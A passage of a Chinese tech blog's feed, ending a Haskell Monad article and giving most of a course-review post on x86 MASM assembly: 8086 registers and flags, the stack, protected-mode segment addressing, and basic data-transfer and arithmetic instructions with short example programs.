class="title">divideAndAdd</span> x1 y1 x2 y2 = x1 / y1 &gt;&gt;= \result1 -&gt; x2 / y2 &gt;&gt;= \result2 -&gt; return (result1 + result2)</span><br><span class="line"></span><br><span class="line"><span class="title">divideAndAdd2</span> :: (<span class="type">Eq</span> a, <span class="type">Fractional</span> a) =&gt; <span class="type">Wrapper</span> a -&gt; <span class="type">Wrapper</span> a -&gt; <span class="type">Wrapper</span> a -&gt; <span class="type">Wrapper</span> a -&gt; <span class="type">Wrapper</span> a</span><br><span class="line"><span class="title">divideAndAdd2</span> x1 y1 x2 y2 = x1 / y1 + x2 / y2</span><br><span class="line"><span class="comment">--------------------------------------------</span></span><br><span class="line"><span class="title">main</span> = print $ divideAndAdd <span class="number">1</span> <span class="number">0</span> <span class="number">1</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="总结">总结</h2><p><strong>Functor（函子）</strong>：允许你通过 <code>fmap</code> 或 <code>&lt;$&gt;</code> 将普通函数应用到上下文中的值。</p><p><strong>Applicative（应用函子）</strong>：扩展了 Functor 的概念，通过 <code>&lt;*&gt;</code> 运算符允许在上下文中组合函数。它使得可以处理多个包含上下文的值。</p><p><strong>Monad（单子）</strong>：通过 <code>&gt;&gt;=</code>（绑定运算符）提供了一种链式组合计算的方法，允许在处理前一个计算的结果时定义下一个计算。这对于处理有序的、依赖于之前计算结果的操作至关重要。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/fp/monad/</id>
    <link href="https://www.blog-blockchain.xyz/fp/monad/"/>
    <published>2023-05-26T16:42:33.000Z</published>
    <summary>深入理解Haskell中的Monad概念，从理论基础到实际应用，包括Functor、Applicative和Monad的层次结构，以及错误处理和副作用管理的实践。</summary>
    <title>Haskell(三) Monad</title>
    <updated>2026-02-19T16:18:01.155Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="courses" scheme="https://www.blog-blockchain.xyz/categories/courses/"/>
    <category term="assembly" scheme="https://www.blog-blockchain.xyz/tags/assembly/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/cs-courses/C-language-basis/" title="C语言基础">C语言基础</a></li><li><a href="/cs-courses/modular-inverses/" title="乘法逆元">乘法逆元</a></li><li><a href="/cs-courses/cpp-cryptographic-algorithm-basis/" title="信息安全算法基础">信息安全算法基础</a></li><li><a href="/cs-courses/OS/" title="操作系统基础">操作系统基础</a></li><li><a href="/cs-courses/x86-masm/" title="x86汇编基础">x86汇编基础</a></li><li><a href="/cs-courses/information-theory/" title="信息论与编码">信息论与编码</a></li></ol></blockquote><p>这是电子科技大学的汇编程序设计的课程复习，由本人总结，主要资源来自 PPT 和自编教材，少部分辅以网上的博客（会给出参考链接）。课程是基于 x86 汇编，汇编语法和汇编器采用 MASM，程序主要是 flat 模式，语法可能和其他的汇编器不同。这篇文章的主要目的是总结和复习，所以可能较为简洁，读者可以在评论区提问，我会不断完善。如果由不准确或者错误的地方，欢迎指正。</p><h2 id="微处理器和寄存器简介">微处理器和寄存器简介</h2><p>由于汇编需要程序员考虑处理器和寄存器的状态，因此了解基本的内容，有利于理解汇编是如何在 CPU 上工作的。汇编语言与机器语言（字节码）是绑定的，大部分指令直接对应 CPU 的指令，因此汇编不具有可移植性，无法在不同的指令架构下运行。</p><h3 id="CPU-执行指令">CPU 执行指令</h3><p>我们学习 CPU，主要是关注 CPU 内的寄存器、访存方式、输入输出。在计算机组成原理中，我们已经学习过 CPU 的概念图，每次运行：</p><ol><li>取指令（Instruction Fetch）：CPU 发送读取内存的地址，获取指令代码，然后将指令保存在指令寄存器 IR 中。</li><li>指令译码（Instruction Decode）：CPU 将 IR 中的指令中的操作码、操作数、地址等信息解码，然后确定操作数的存储位置、指令要完成的操作以及需要的寄存器等。</li><li>执行指令（Execute）：CPU 会对操作数进行运算或将操作数存储到特定的位置。对于一些需要访问内存或 IO 设备的指令，CPU 会将内存或 IO 设备中的数据读取到 CPU 的寄存器中。(有时候，会把<strong>读取操作数单独作为一个步骤，放在执行指令前</strong>)。</li><li>写回结果（Write Back）：如果是运算指令，CPU 将结果存储到指定的寄存器中；如果是访存指令，CPU 将结果写回到指定的内存地址中。</li></ol><img src="http://cdn.blog-blockchain.xyz/202304211539487.png" alt="image-20230421153931153" style="zoom: 33%;" /><ul><li>GPRs：通用寄存器（General Purpose Registers），在计算机系统中用于存储操作数、地址和控制信息等临时数据的寄存器，是 CPU 内部存储器中的一部分，具有快速读写的特点。</li><li>MAR：存储器地址寄存器（Memory Address Register），用于存储 CPU 将要访问的存储器地址。</li><li>MDR：存储器数据寄存器（Memory Data Register），用于存储 CPU 从存储器中读取的数据或将要写入存储器的数据。</li><li>IR：指令寄存器（Instruction Register），用于存储 CPU 当前执行的指令。</li><li>ALU：算术逻辑单元（Arithmetic Logic Unit），CPU 中用于执行算术和逻辑运算的部件，它可以对多个操作数进行运算并产生结果。</li></ul><h3 id="8086-8088">8086/8088</h3><h4 id="特点和工作模式">特点和工作模式</h4><p>8086/8088 是 Intel 推出的第一款 16 位微处理器，具有以下几个特点：</p><ol><li>采用并行流水线工作方式：8086/8088 将 CPU 划分成多个功能部分，如指令预取队列、指令译码器、算术逻辑部件(ALU)等，并设置<strong>指令预取队列</strong>，实现流水线工作。这种工作方式可以提高 CPU 的运算速度，同时也为后续的 CPU 设计提供了基础。</li><li>对内存空间实行分段管理：8086/8088 采用了分段管理技术，将内存分为多个段并设置<strong>4 个段地址寄存器(CS、DS、ES、SS)，每个段可以达到 64KB，多段寻址可以实现对 1MB 空间的寻址</strong>。通过对不同段进行划分，可以灵活地管理内存空间，同时也为后续的 CPU 设计提供了借鉴。</li><li>支持多处理器系统：8086/8088 可以<strong>通过总线接口支持多处理器系统，可以与其他 8086/8088 或协处理器(Coprocessor)进行通信，实现共享计算资源</strong>，提高系统的运算效率。此外，协处理器也可以<strong>扩展 CPU 的指令集</strong>，增强 CPU 的运算能力。</li></ol><p>8088 有两种工作模式：最大模式和最小模式。<strong>最大模式</strong>是指 CPU<strong>通过外部总线与外围设备进行通信</strong>，包括访问内存、输入输出、中断响应等。在最大模式下，<strong>CPU 需要使用多个芯片来实现外部通信功能</strong>，包括地址数据总线转换芯片、系统计时控制芯片、输入输出控制芯片等。</p><p><strong>最小模式</strong>是指<strong>CPU 不通过外部总线与其他设备进行通信，而是通过芯片组内部的接口实现通信</strong>。在最小模式下，CPU<strong>只需要使用一个称为多路复用器的芯片</strong>来实现地址和数据的<strong>复用</strong>输出，减少了芯片数量和复杂性。</p><h4 id="主要引脚">主要引脚</h4><img src="https://cdn.blog-blockchain.xyz/202304211653166.jpeg" style="zoom: 33%;" /><p>地址引脚：</p><ul><li>AD0-AD7：低 8 位地址和低 8 位数据信号的线。当 CPU 需要从存储器中读取数据时，这些线就是输入数据信号的线；当 CPU 需要将数据写入存储器时，这些线就是输出数据信号的线；当 CPU 需要向存储器发送地址时，这些线就是输出地址信号的线。</li><li>A8-A15：高 8 位地址信号的线。在 8086 中，这些线也用于传输低 8 位数据信号。因为<strong>8086 的总线是 16 位的，8088 是 8 位的</strong>。</li><li>A16-A19/S3-S6：高 4 位地址信号的线，也与状态信号分时复用。这些线用于传输 CPU 的高 4 位地址信号，用于扩展地址空间。<strong>在 8088 中，这些线同时用作状态信号</strong>，用于传输一些特殊的控制信息。<strong>在 8086 中，这些线不用于状态信号</strong>，而是专门用于传输高 4 位地址信号。</li></ul><p>控制引脚：</p><ul><li><p>RD（Read）：读信号，用于从内存或 I/O 设备读取数据。</p></li><li><p>WR（Write）：写信号，用于向内存或 I/O 设备写入数据。</p></li><li><p>IO/M（Input/Output Memory）：指示当前访问的是（0）内存还是（1）I/O 端口。<strong>8086 的信号与 8088（上一句）的相反</strong>。</p></li><li><p>DEN（Data Enable）：数据使能信号，用于表示当前数据线的数据有效。</p></li><li><p>DT/R（Data Transmit/Receive）：数据传输/接收模式选择信号。</p></li><li><p>ALE（Address Latch Enable）：地址锁存使能信号。当其为高电平时，表示地址线上的地址被锁存到一个锁存器中，确保 CPU 在进行读写操作时，始终使用的是同一个地址。</p></li><li><p>READY：用于与外部设备同步。READY 信号的作用是为了控制 CPU 的读写速度，因为 CPU 和外部设备的速度不一定相同。当 CPU 向外部设备请求数据时，外部设备可能还没有准备好数据，如果 CPU 继续读取数据，可能会读到错误的数据。通过 READY 信号，外部设备可以告诉 CPU 何时可以读取数据，确保数据的正确性。</p></li><li><p>RESET 是复位信号，当其为高电平时，CPU 会被强制复位，内部寄存器会被清零或者被设为特定的值，以确保 CPU 从初始状态开始执行。复位后的值如下表：</p></li></ul><table><thead><tr><th><strong>内部寄存器</strong></th><th><strong>内容</strong></th><th><strong>内部寄存器</strong></th><th><strong>内容</strong></th></tr></thead><tbody><tr><td><strong>CS</strong></td><td><strong>FFFFH</strong></td><td><strong>IP</strong></td><td><strong>0000H</strong></td></tr><tr><td><strong>DS</strong></td><td><strong>0000H</strong></td><td><strong>FLAGS</strong></td><td><strong>0000H</strong></td></tr><tr><td><strong>SS</strong></td><td><strong>0000H</strong></td><td><strong>其余寄存器</strong></td><td><strong>0000H</strong></td></tr><tr><td><strong>ES</strong></td><td><strong>0000H</strong></td><td><strong>指令队列</strong></td><td><strong>空</strong></td></tr></tbody></table><h4 id="内部结构和寄存器">内部结构和寄存器</h4><p>大致分为执行单元 EU 和总线接口单元 BIU，重点关注的是<strong>通用寄存器和标志寄存器</strong>，这些寄存器在汇编中会经常用到。</p><img src="http://cdn.blog-blockchain.xyz/202304211730182.png" alt="21819785540 (1)" style="zoom:67%;" /><p>通用寄存器除了可以作为通用的寄存器，用法习惯上也有一些差别：</p><ol><li>AX：<strong>IO 的数据</strong>暂存在这里，<strong>中间运算结果</strong>也存这里。</li><li>BX：<strong>内存寻址</strong>时地址存这里。</li><li>CX：<strong>循环和串操作</strong>存这里，因为串操作常常需要循环。</li><li>DX：存放<strong>I/O 端口地址</strong>还有<strong>32 位除法</strong>的高 16 位。</li><li>SP：表示堆栈指针，日后会详细学习它的计算方法。</li><li>BP：存放栈基址，比如要<strong>访问函数的参数和局部变量</strong>。</li><li>DI 和 SI：一般用于<strong>串操作</strong>，DI 寄存器通常作为目的地址寄存器，SI 寄存器作为源地址寄存器，用于在内存中移动和复制字符串。</li></ol><p>段寄存器在保护模式基本用不到，因为整个内存空间是连续的，了解含义即可。</p><ul><li>IP：下一条要执行指令的地址。</li></ul><p>下面的段寄存器都是存放对应段的基址，在实模式下都是段基址，一个段 64KB。但是保护模式下一个段最大 4GB,段寄存器存储选择子（16 位）的地址，选择子包括段基地址和段属性信息，由操作系统负责将选择子转换成段基地址。</p><ul><li>CS 寄存器（<strong>代码段</strong>寄存器）</li><li>DS 寄存器（<strong>数据段</strong>寄存器）</li><li>ES 寄存器（<strong>附加段</strong>寄存器）</li><li>SS 寄存器（<strong>堆栈段</strong>寄存器）</li></ul><p>实际汇编的时候，是用到 32 位的 flat 模式，也就是寄存器参考下面的 IA-32，主要是理解 EAX、AX、AH、AL 之间的关系，在小端序下的值如何存储。</p><p>IA-32 是 <strong>32</strong> 位处理器，4GB 物理地址空间，64TB 的虚拟地址寻址空间。支持分段、分页的内存管理方式，有<strong>实地址模式、保护模式、虚拟 8086 模式</strong>三种工作方式。</p><img src="https://cdn.blog-blockchain.xyz/202304211719262.png" alt="IA-32寄存器" style="zoom: 67%;" /><h4 id="标志寄存器">标志寄存器</h4><p>标志寄存器在汇编中非常常用，不能手动赋值。标志位的设置和清除是由 CPU 执行指令时自动完成的，程序员可以通过各种指令来检查这些标志位的状态，并根据需要进行相应的操作。许多指令有不同的修改标志寄存器的规定，并且标志寄存器用于提供控制信息。</p><ul><li>CF（进位标志）：最高有效位的<strong>进位或借位</strong>，CF 为 1，否则为 0。</li><li>PF（奇偶标志）：记录结果中 1 的个数的奇偶性。如果结果中<strong>1 的个数为偶数，PF 为 1</strong>，否则为 0。</li><li>AF（辅助进位标志）：记录<strong>低四位的进位或借位</strong>。如果最后一次操作需要进位或借位，AF 为 1，否则为 0。</li><li>ZF（零标志）：记录结果是否为<strong>0</strong>。如果结果为 0，ZF 为 1，否则为 0。</li><li>SF（符号标志）：记录结果的<strong>符号</strong>。如果结果为负数，SF 为 1，否则为 0。</li><li>OF（溢出标志）：记录结果是否<strong>溢出</strong>。如果结果溢出，OF 为 1，否则为 0。</li></ul><p>注意是直接运算来判断标志位，而不是转化成补码后判断标志位。比如溢出标志是根据结果和操作数确定的。以上的标志位需要熟练掌握。</p><p>（<strong>例题</strong>）！！！！！！！！！！！！！！！！！！！！！！！！！！！</p><p>还有 3 个不常用的控制标志位，了解即可：</p><ul><li>TF（跟踪标志）：用于<strong>单步调试</strong>。如果 TF 为 1，则 CPU 在执行一条指令后暂停执行并进入单步调试状态，否则为 0。</li><li>IF（中断标志）：用于控制<strong>可屏蔽中断</strong>的开关。如果 IF 为 1，则 CPU 允许可屏蔽中断，否则为 0。</li><li>DF（方向标志）：用于指示字符串操作指令的方向。如果 DF 为 1，则字符串操作指令向前移动（由高地址到低地址），否则为 0（向后移动，由低地址到高地址）。</li></ul><h4 id="堆栈">堆栈</h4><p>物理地址受限于引脚数量，可以知道最大 20 位，1MB。<strong>一个字两个字节，地址小的字节的地址作为字的地址。小端序，数字低位低地址，字符串顺序存放</strong>。</p><p>逻辑地址分成两部分，16 位段地址，16 位段内地址。通过段地址找到段在内存中的起始位置，通过段内地址找到在段内的偏移量，这样就可以定位一个字节。简单的说，段地址+段内地址就是字节所在的地址。但是<strong>段地址不是随意的，必须是 16 的倍数</strong>，因为规定 16 位为一个小节（Paragraph）。<strong>段最大长度 64KB</strong>。所以，段地址默认低四位为 0，<strong>段寄存器的值需要左移 4 位才是它实际表示的值</strong>。所以，<strong>根据段寄存器和段内偏移量计算地址时，需要注意</strong>。</p><p>堆栈的<strong>最下端是固定的</strong>，叫做栈底。另外一端，叫做栈顶，是最后压栈的元素，SP 就是指向这个元素。SS 指向的是栈所在的存储位置。需要注意：</p><ol><li>栈底是堆栈最下面的字的地址。</li><li>堆栈的每个元素都是字为单位，一层 2 个字节。</li><li><strong>堆栈增长的方向是地址减小的方向</strong>，也就是栈底是高地址，栈顶是低地址。</li><li>SP 的值为与栈开始位置（SS 寄存器的值）的距离，字节为单位。</li><li>SP 初始化时在栈底下面两个字节，也就是栈底的段内相对地址+2，此时为最大值，表示栈为空。</li><li>SP 为 0，表示堆栈满了。</li></ol><img src="http://cdn.blog-blockchain.xyz/202304232012224.png" alt="311634024676480 (1) (1)" style="zoom:50%;" /><p>上面的栈的示意图，是每一层一个字节。</p><h3 id="保护模式的段寻址">保护模式的段寻址</h3><p>主要是学习 IA-32 以后的段寻址的方式，虽然我们主要是使用 flat 32 模式，它是一种特殊的保护模式，不用考虑分段，都是虚拟地址。</p><p>在学习段寄存器时提到，保护模式下段寄存器的内容不是段的起始地址，而是段选择子（也叫做段选择器）的地址，段选择器这个数据结构包括了段基地址和段长等属性。还需要了解一些概念：</p><ul><li>段描述符：每个段对应的元信息，包括段段长、段基地址等信息。</li><li>描述符表：包含了所有内存段的描述符。它可以被认为是一个数组，每个元素就是段描述符。</li><li>段选择器：用于访问描述符表，定位到自己需要的段的描述符。这样获取了段的信息之后，就可以访问段所在的内存了。</li></ul><p><strong>段选择器</strong>的长度就是段寄存器的长度，只有 16 位。</p><ul><li>0-1：RPL，表示优先级，寻址时基本不用注意。</li><li>2：TI，关键位，<strong>0 表示描述符在 GDT 中，1 表示在 LDT 中</strong>。</li><li>3-15：在描述符表中的索引记住时<strong>高 13 位</strong>。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"> 15      3   2     0</span><br><span class="line">+----------+-------+</span><br><span class="line">| Index    | TI RPL|</span><br><span class="line">+----------+-------+</span><br></pre></td></tr></table></figure><p><strong>段描述符</strong>为 64 位，下图需要拼起来，第一条是高 32 位，第二条是低 32 位。</p><img src="http://cdn.blog-blockchain.xyz/202304232102139.png" alt="image (1)" style="zoom: 80%;" /><p>比如对于 0x98A46A40 0xAF0FC083，按照上图，段基址应该是 0x9840 AF0F。（顺带吐槽，chatGPT 推理能力真差）。简单的说，高 32 位取头尾字节，低 32 位取头 2 个字节。</p><p>属性中的 <code>G</code> 比较特殊表示粒度，G=1 时单位就变成了 4K，段限长取最大时，一个段就是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">20</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">4</span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">4</span><span class="mord mathnormal" style="margin-right:0.05017em;">GB</span></span></span></span>。否则单位就是 1 个字节。</p><p><strong>段描述符表</strong>有两个常用的，GDT 是全局描述符表，系统中只有一个。LDT 是局部描述符表，每个进程一个，里面都属局部描述符，是进程使用的段的元信息。可以通过 GDTR 找到 GDT 的位置，但是寻找 LDT 的位置时，需要根据 LGTR 在 GDT 中寻找。<strong>因为 GDTR 是 48 位，LGTR 是 16 位</strong>。在<strong>多任务的 Windows 系统中 LDTR 只有一个</strong>，它用来指示当前任务，当前任务切换时需要改变 LDTR 的内容。</p><p>寻址时，首先从段寄存器获取 16 位的段选择子，看第 3 位的 TI：</p><ul><li>为 0，表示段描述符在 GDT 中。从 <strong>GDTR 中高 32 位是 GDT 的地址</strong>，低 16 位是 GDT 的限长。然后<strong>段选择器的高 13 为是索引地址</strong>，找到段描述符。段描述符的基址寻址，如上面所示。最后再加上段内偏移量即可。</li></ul><p><img src="http://cdn.blog-blockchain.xyz/202304240039936.png" alt="image (1)"></p><ul><li>为 1，表示段描述符在 LDT 中。同样先在 GDT 中找到段描述符，LDTR 的高 13 为 作为索引。但是需要注意，这不再是寻找的字节所在的段的段描述符，而是 LDT 的段描述符，需要根据它寻找 LDT 的起始地址。找到 LDT 起始地址之后，用段选择器的 高 13 位作为索引，就找到了真正的段描述符。</li></ul><p><strong>（例题）！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！</strong></p><h2 id="指令系统">指令系统</h2><p>CPU 的指令一般由三部分组成：操作码，表示执行何种操作；目标操作数，存储结果；源操作数，存储参与运算的数据。这三部分不一定是严格区分的，比如 ADD AX BX，AX BX 都是源操作数；再比如 <code>TEST AX BX</code> 表示两个数相与，但是目标操作数并不是 AX 或者 BX，而是只修改标志位。</p><p>操作数有 3 个来源，第一种是硬编码到指令中的<strong>立即数</strong>；第二种是<strong>寄存器</strong>，可以是 8 位（AL、AH）、16 位（AX）、32 位（EAX）；第三种<strong>存储器</strong>，也就是内存，比比如定义数据时的符号地址，或者是寄存器种的地址的值 <code>[AX]</code>。</p><h3 id="寻址方式">寻址方式</h3><ol><li><p>立即数寻址，和国内不同。简单地说就是操作数硬编码到指令。<strong>立即数无法截断，不能超过目的操作数的长度</strong>。比如 <code>MOV AL 260</code> 就会报错，<code>MOV AL 1</code> 其中的 1 就会自动拓展到 8 位。</p></li><li><p>寄存器寻址，操作数都在寄存器中。</p></li><li><p>直接寻址。通过内存地址来访问数据。<strong>内存操作数的长度必须和另一个操作数相同</strong>。</p></li><li><p>寄存器间接寻址。寄存器中是操作数在内存中的地址，然后 <code>[EAX]</code> 就是表示内存中的值。需要注意：</p><ol><li><strong>不能使用 16 位的寄存器存储地址</strong>。</li><li>没有说明长度，默认使用另外另外一个操作数的长度。比如 <code>MOV EAX,1234H,  MOV BX, [EAX]</code> 是读取从 1234H 开始的 2 个字节。</li><li>寄存器都是默认在数据段，只有 EBP 和 ESP 默认在堆栈段。</li><li><strong>保护模式下不能直接访问具体的存储单元</strong>。比如 <code>MOV EAX,1234H,  MOV BX, [EAX]</code> 会报错。使用 <code>MOV BX [1234H]</code> 和 <code>MOVE BX 1234H</code> 是一个效果。</li></ol></li><li><p>寄存器相对寻址。寄存器中的地址，加上一个偏移量来确定地址。它的写法很多，但是<strong>偏移量不能放在括号后面</strong>，一下几种都是等效的。</p><ol><li><code>MOV AX, [EBX+offset]</code></li><li><code>MOV AX, offset[EBX]</code></li><li><code>MOV AX, offset+[EBX]</code> 或者 <code>MOV AX, [EBX]+offset</code></li><li>但是<strong>不能</strong> <code>MOV AX, [EBX]offset</code></li></ol></li><li><p>基址-变址寻址，简单说就是寄存器里的地址可以乘 2、4、8.</p></li><li><p>隐含寻址。一些指令是默认了操作数的来源，比如 <code>MUL BL</code> 省略的另外一个操作数是 AL，结果默认是写入 <code>AX</code>。</p></li></ol><h3 id="常用指令">常用指令</h3><h4 id="数据传送指令">数据传送指令</h4><p>这一类指令<strong>不修改标志位</strong>！</p><h5 id="MOV">MOV</h5><p><code>MOV dest src</code>，表示将 src 的值，复制给 dest，注意是底层的字节序列的赋值。</p><p>MOV 的两个操作数必须长度相同，但是存在以下的几种自动拓展的情况：</p><ol><li>src 是立即数的话，必须小于等于 dest 长度，并且可以拓展。</li><li>内存之间不能直接传送。</li><li>CS 寄存器不能被修改，可以作为 src。</li><li>段寄存器之间不能直接赋值，但是可以通过通用寄存器承接的方式赋值。</li><li>标志寄存器不参与传送。</li><li>一个存储单元，必须要有起始地址及类型（长度）。如果在指令中没给出长度，根据另外一个操作数确定。如果给出长度，两个操作数的长度不能矛盾。</li></ol><img src="http://cdn.blog-blockchain.xyz/202304242028644.png" alt="image-20230424202824549" style="zoom:50%;" /><p>例题：</p><ol><li>MOV AL，BX。长度不一致</li><li>MOV [BX][SI]，AX。内存寻址必须 32 位。</li><li>MOV DS，1000H。立即数无法给段寄存器赋值。</li><li>MOV [1200]，SI。不能直接访问具体的存储单元。</li><li>MOV AX，CS。正确</li><li>MOV DS，CS。段寄存器之间不能直接赋值。</li></ol><h5 id="MOVZX-MOVSX">MOVZX/MOVSX</h5><p>零拓展和符号拓展，可以拓展源操作数，达到目标操作数的长度，然后传送。</p><h5 id="堆栈指令">堆栈指令</h5><p><strong>对于 16 位的实模式</strong>，堆栈指令的操作数<strong>不能是立即数</strong>，可以是 16 位的寄存器或者内存中的一个字，而且必须显式指定长度为一个字。最常见的指令为 <code>PUSH OPRD</code> <code>POP OPRD</code>，操作数必须满足上面的要求。 <code>PUSHF OPRD</code> <code>POPF OPRD</code> 会把标志寄存器的值压入堆栈，然后据一定的规则修改在标志寄存器中的值。</p><p>由于堆栈是 16 位一层，而且 SP 表示和 SS 的距离，所以每次 <code>PUSH</code>，SP = SP-2。再次强调，小端序，栈底高地址。反之 <code>POP</code> 造成 SP=SP+2。</p><p><strong>对于 32 位保护模式</strong>，堆栈元素大小是 32 位，<strong>允许立即数入栈</strong>。新加入了 <code>PUSHA</code> 将 8 个 16 位通用寄存器按 AX、CX、DX、BX、SP、BP、SI 与 DI 的顺序入栈；<code>PUSHAD</code> 则是将这 8 个 32 位寄存器的值顺序入栈。<code>POPA</code> 则相反，将栈顶的 8 个字依次送入 DI、 SI 、BP、 SP 、 BX 、 DX 、CX 与 AX。<code>POPAD</code> 也是类似的。</p><p>同样也有修改标志位的指令，保护模式下的寄存器是 32 为，而实模式下的标志寄存器是 16 为，所以 <code>PUSHFD</code> <code>POPFD</code> 也是类似的，只是标志寄存器变成了 32 位。</p><h5 id="交换指令">交换指令</h5><p>交换指令是一种用于交换两个操作数的值的指令，常见的有 XCHG 指令 <code>XCHG destination, source</code>。这两个操作数必须至少有一个是寄存器，而且不能是段寄存器。</p><h4 id="IO-指令">IO 指令</h4><p>输入输出指令是 CPU 和外设之间进行数据交换的指令，用于完成计算机系统的输入输出操作。输入指令将数据从外设传输到 CPU，输出指令将数据从 CPU 传输到外设。</p><p>输入输出指令一般使用 IN 和 OUT 指令来实现。IN 指令用于将数据从端口读入到寄存器中，OUT 指令用于将寄存器中的数据输出到指定的端口中。这些指令需要指定端口号和数据长度。<code>IN  acc，PORT</code> <code>OUT  PORT，acc</code>。</p><p>回忆寄存器的作用，AX 放 IO 数据，DX 放 IO 地址。根据数据的大小，可以选择 AL、AX、EAX（保护模式）。<code>PORT</code> 可以使用直接寻址和间接寻址，直接寻址就是根据 8 位 <code>PORT</code> 的值寻址，注意是无符号数，范围是 0-255。间接寻址则是超过 255 时，<strong>端口地址只能由 DX 指定</strong>。也就是说，DX 都可以用来寻址。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">IN  AX，80H</span><br><span class="line">MOV DX，2400H</span><br><span class="line">IN  AL，DX</span><br><span class="line">OUT  35H ，EAX</span><br></pre></td></tr></table></figure><h4 id="取地址指令">取地址指令</h4><p>LEA 的全称是 Load Effective Address（加载有效地址），用于内存单元所在的地址写入寄存器。<code>LEA REG，MEM </code>，源操作数必须是来自内存，目标操作数在保护模式下可以是 32 位寄存器（flat 模式地址都是 32 位）。但是也可以是 <strong>16 位寄存器，只保留地址的低 16 位</strong>，比如 <code>LEA SI, [EDI]</code> SI 中只存储了 EDI 的低 16 位</p><p>LEA 还可以执行加法，比如 <code>LEA  AX, [BX][DI] </code> 是将 <code>BX+DI</code> 送入 AX 中。这是因为 <code>OFFSET</code> 伪指令是不能读取寄存器，所以无法使用寄存器执行加法。</p><p>例题：将数据段中首地址为 MEM1 的 50 个字节的数据传送到同一逻辑段首地址为 MEM2 的区域存放。编写相应的程序段 。</p><p>分析，50 次循环，每次把一个字节传送，同时更新源操作数地址和目的操作数的地址。串操作一般用 SI 和 DI，计数器用 CX，暂存数据用 AX，注意保护模式用 32 位。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">    LEA ESI, MEM1</span><br><span class="line">    LEA EDI, MEM2</span><br><span class="line">    MOV CL, 50</span><br><span class="line">NEXT:</span><br><span class="line">MOV AL, [ESI];用AL是因为可以指定一个字节</span><br><span class="line">MOV [EDI], AL</span><br><span class="line">INC ESI</span><br><span class="line">INC EDI</span><br><span class="line">DEC CL</span><br><span class="line">JNZ NEXT; DEC 会影响到ZF标志位, CL不为0时 ZF=0，那么就循环</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="标志位操作指令">标志位操作指令</h4><p>标志位操作指令是一类用于修改和操作标志寄存器的指令。这些指令可以用于设置、清除或测试标志位的值。<code>LAHF</code> 全称是 Load AH from Flags，用于将当前的标志寄存器的<strong>低 8 位</strong>拷贝到**<code>AH</code>寄存器**中。<code>SAHF</code>, “Store AH into Flags” 则是相反的作用。</p><h3 id="算术运算">算术运算</h3><p>算术运算指令是用来进行数值运算的汇编指令，大多会影响标志位，特殊的会作特别的说明。</p><h4 id="加法指令">加法指令</h4><p>加法指令得要求和 MOV 指令基本相同，核心是目标操作数要可以写入，两个操作数不能都是来自内存。</p><p>常见的 <code>ADD OPRD1 OPRD2</code> 会影响所有标志位。<code>ADC</code> 指令则会加上 CF 的值，这样实现大整数的相加，因此<strong>初始化时应该 CF 置零</strong>。例如需要完成 20 个字节的操作数的加法，我们就需要「进位加法」：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">LEA ESI, M1</span><br><span class="line">LEA EDI, M2</span><br><span class="line">MOV CL, 20</span><br><span class="line">CLC;使得CF为0</span><br><span class="line">NEXT:</span><br><span class="line">MOV AL, [ESI]</span><br><span class="line">ADC AL, [EDI]</span><br><span class="line">INC ESI</span><br><span class="line">INC EDI</span><br><span class="line">DEC CL</span><br><span class="line">JNZ NEXT</span><br></pre></td></tr></table></figure><p><code>INC reg</code> 和 <code>DEC reg</code> 指令在循环中按字节操作时，经常出现，分别是加一和减一。他会<strong>影响除了 CF 标志位的所有其他标志位</strong>。</p><h4 id="减法指令">减法指令</h4><p><code>SUB</code> 指令和 <code>ADD</code> 指令是类似的；<code>SBB</code> 和 <code>ADC</code> 是对应的，全称是 Subtract with Borrow，也就是需要多减去进位（借位）标志，也就是 CF 标志。</p><p><code>NEG OPRD</code> 指令则是对操作数取负数，相当于用 0 减去它。实际操作是按位取反+1。同样的，操作数必须是来自内存或者寄存器。它会影响常用的 6 个标志寄存器，课程只关心 CF 和 OF：</p><ul><li>只有当操作数为 0 时，CF 才为 0，其他为 1。</li><li>当操作数为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span 